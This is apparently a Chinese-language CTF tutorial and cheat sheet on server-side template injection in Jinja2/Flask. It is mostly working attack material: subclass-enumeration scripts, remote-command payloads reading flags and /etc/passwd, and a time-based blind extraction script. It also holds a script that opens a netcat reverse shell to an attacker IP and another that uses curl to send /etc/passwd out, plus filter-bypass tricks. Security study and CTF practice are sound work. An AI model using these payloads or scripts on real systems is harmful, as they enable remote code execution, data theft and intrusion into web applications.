SSTI是一种服务器端模板注入漏洞,它出现在使用模板引擎的web应用程序中。模块引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。
引擎识别
做题的时候,对照这个图片就可以判断是哪种引擎了。
![SSTI]()
魔术方法
我们先了解一些基础的方法,然后就懂得payload是怎样的了。
1 2 3 4 5 6
| __class__ # 查找当前类型的所属对象 __base__ # 沿着父子类的关系往上走一个 __mro__ # 查找当前类对象的所有继承类 __subclasses__() #查找父类下的所有子类,括号不能少 __init__ # 查看类是否重载,如果出现wrapper字眼,说明没有重载,就不能利用 __globals__ # 函数会以字典的形式返回当前对象的全部全局变量
|
那么大致的做题思路就是,先判断引擎,在套用方法。
查询注入模块
有回显我们可以直接用三步,将模块列举出来,没有也可以用脚本跑出来,然后选择合适的注入模块利用(用数列表示)即可。
1 2 3 4 5
| {{().__class__.__base__.__subclasses__()}} {{".__class__.__base__.__subclasses__()}} {{"".__class__.__base__.__subclasses__()}} {{config.__class__.__base__.__subclasses__()}} {{[].__class__.__base__.__subclasses__()}}
|
1 2 3 4 5 6 7 8 9 10 11 12
| import requests url=input("请输入URL连接:") for i in range(500): data={"post参数":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"} try: response = requests.post(url,data=data) if response.status_code == 200: if '_frozen_importlib_external.FileLoader(注入模块)' in response.text: print(i) except: pass
|
利用注入模块
知道模块所在行数(subclasses()[模块所在行数])后,就可以构造payload执行命令了,例如:
1
| {{".__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("tac flag").read()')}}
|
这里用的注入模块(子类)为_wrap_close,注:方法为两条下划线,类(注入模块)只有一条且注入模块的位置不固定,也就是[]里面的数字是发生变化的。
1 2 3
| __builtins__ # 提供对python的所有"内置"标识符的直接访问 eval() # 计算字符串表达式的值 popen() # 执行一个shell以运行命令来开启一个进程
|
常用注入模块
知道上面这些方法怎么用之后,我们就可以利用注入模块,也就是里面存在的子类去调用它们执行命令(没有标记修改的说明data部分不需要修改)。常用的有
文件读取
1 2
| 查询注入模块 _frozen_importlib_external.FileLoader payload: {{".__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
|
内建函数eval执行命令
1 2 3 4 5 6
| 查询注入模块 _wrap_close或者eval (用查询脚本的修改部分) data={"post参数" = “{{".__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}”} if 'eval' in response.text:
payload: {{".__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("tac flag").read()')}}
|
os模块执行命令
1 2 3 4 5 6 7 8 9 10
| 通过config,调用os {{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}} 通过url_for,调用os {{url_for.__globals__.os.popen('/etc/passwd').read()}} 查询注入模块 _wrap_close或者os (用查询脚本的修改部分) data={"post参数":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.globals__}}"} if 'os.py' in response.text:
payload: {{".__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls /").read()}}
|
importlib类执行命令
1 2
| 查询注入模块 _frozen_importlib.Builtinlmporter payload: {{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("cat flag").read()}}
|
linecache函数执行命令
1 2 3 4 5 6
| 查询注入模块 linecache (用查询脚本的修改部分) data={"post参数":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"} if 'linecache' in response.text:
payload: {{[].__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen("ls -l /").read()}}
|
subprocess.Popen类执行命令
1 2
| 查询注入模块 subprocess.Popen payload: {{().__class__.__base__.__subclasses__()[200]("tac flag",shell=True,stdout=-1).communicate()[0].strip()}}
|
无回显SSTI
那有人就要问了,哎呀,题目没有回显怎么办啊,简单~(用脚本无脑都可以)
反弹shell
1 2 3 4 5 6 7 8 9
| import requests url = "http://127.0.0.1" for i in range(300): try: data = {"post参数":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("netcat 192.168.5.51(kaliIP) 7777 -e /bin/bash").read()}}'} response = requests.post(url,data=data) except: pass
|
同时kali监听(nc -lnvp 7777)即可。
带外注入
1 2 3 4 5 6 7 8
| import requests url = "http://127.0.0.1:" #URL for i in range(300): try: data={"post参数":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://192.168.5.51(kaliIP)/`cat /etc/passwd`").read()}}'} response = requests.post(url,data=data) except: pass
|
同时kali开启一个python http监听(python3 -m http.server 80)
纯盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import requests import time url = input("请输入 URL:") request_parameter = input("请输入 POST 请求参数:") cs = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" flag = "" # range() 参数为 脚本2 得到的 flag 长度 for i in range(25): low = 0 high = len(cs) while low<high: index = low + (high - low) // 2 start_time = time.time() # request_parameter 为 post 传入数据的参数名,根据实际情况输入 data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{%if flag["+str(i)+"]=='"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif flag["+str(i)+"]>'"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%endif%}" } response = requests.post(url, data=data) end_time = time.time() # 计算响应时间 response_time = end_time - start_time if response_time >=2 and response_time<=4: flag+=cs[index] print(cs[index],end='\t') low = high elif response_time>4: low = index+1 else: high = index print("\n"+flag)
|
二分法直接爆破flag。
绕过
双大括号
双大括号被过滤,可尝试glory能否正常执行,通过则可以用
1
| {%if "".__class__.__base__.....}glory{% endif %}
|
中括号
中括号被过滤,可尝试__getitem__()来代替[],类似于
1
| {{".__class__.__base__.subclasses__90.__getitem__(1)}}
|
单双引号
单双引号被过滤,可尝试request.args.GET参数或request.form.POST参数来进行绕过,类似于
1
| {{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.a](request.form.b).read()}}&a=popen&b=cat /flag.txt
|
下划线
同理可以使用request创建一个变量,在变量里面使用下划线。
使用unicode,base64编码或者16位编码。
格式化字符串。
点
可以使用中括号[]代替点,类似于
1
| {{()['__class__']['__base__']......}}
|
可以使用attr()函数,类似于
1
| {{()|attr('__class__')|attr('__base__')......}}
|
关键字
“+”拼接
类似于
jinjia2中的”~”拼接
类似于
1
| {%set a='__cla'%}{%set b='ss__'%}{{()[a~b]}}
|
reverse
类似于
1
| {%set a="__ssalc__"|reverse%}{{()[a]}}
|
replace
类似于
1
| {%set a="__claee__"|replace("ee","ss")%}{{()[a]}}
|
join
类似于
1
| {%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}
|
利用python的char的ASCII码
数字
不允许有数字,我们就让它们自己计算出数字再利用,可用到length,用法如下:10,输出结果为10,以此还可以进行加减乘除的运算。
获取符号
利用flask内置函数和对象获取符号,具体用法如下:
1.使用list可查看拆分字符
1
| {%set a=({}|select()|string())|list%}{{a}}
|
2.[x]可调取第x位字符(从0计位数)
1
| {%set a=({}|select()|string())|[x]%}{{a}}
|
结语
乘风破浪会有时,直挂云帆济沧海。